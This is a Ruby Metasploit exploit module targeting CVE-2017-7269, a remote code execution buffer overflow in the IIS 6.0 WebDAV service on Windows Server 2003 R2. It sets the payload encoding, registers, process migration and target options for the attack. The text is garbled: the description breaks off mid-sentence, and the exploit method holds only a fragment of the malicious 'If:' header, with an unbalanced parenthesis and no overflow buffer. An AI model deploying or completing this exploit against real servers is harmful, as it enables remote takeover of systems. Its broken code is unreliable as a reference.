require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'CVE-2017-7269 Microsoft IIS WebDav ScStoragePathFromUrl Overflow', 'Description' => %q{ Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If: [ 'Dominic Chell ' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', 'CVE-2017-7269'], [ 'BID', '97127'], [ 'URL', 'https://github.com/edwardz246003/IIS_exploit'], ], 'Privileged' => false, 'Payload' => { 'Space' => 2000, 'BadChars' => "\x00", 'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed, 'DisableNops' => 'True', 'EncoderOptions' => { 'BufferRegister' => 'ESI', } }, 'DefaultOptions' => { 'EXITFUNC' => 'process', 'PrependMigrate' => true, 'PrependMigrateProc' => "calc" }, 'Targets' => [ [ 'Microsoft Windows Server 2003 R2', { 'Platform' => 'win', }, ], ], 'Platform' => 'win', 'DisclosureDate' => 'March 26 2017', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80) ], self.class) end def exploit connect buf1 = "If: " buf1 << " (Not ) \r\n\r\n") handler disconnect end end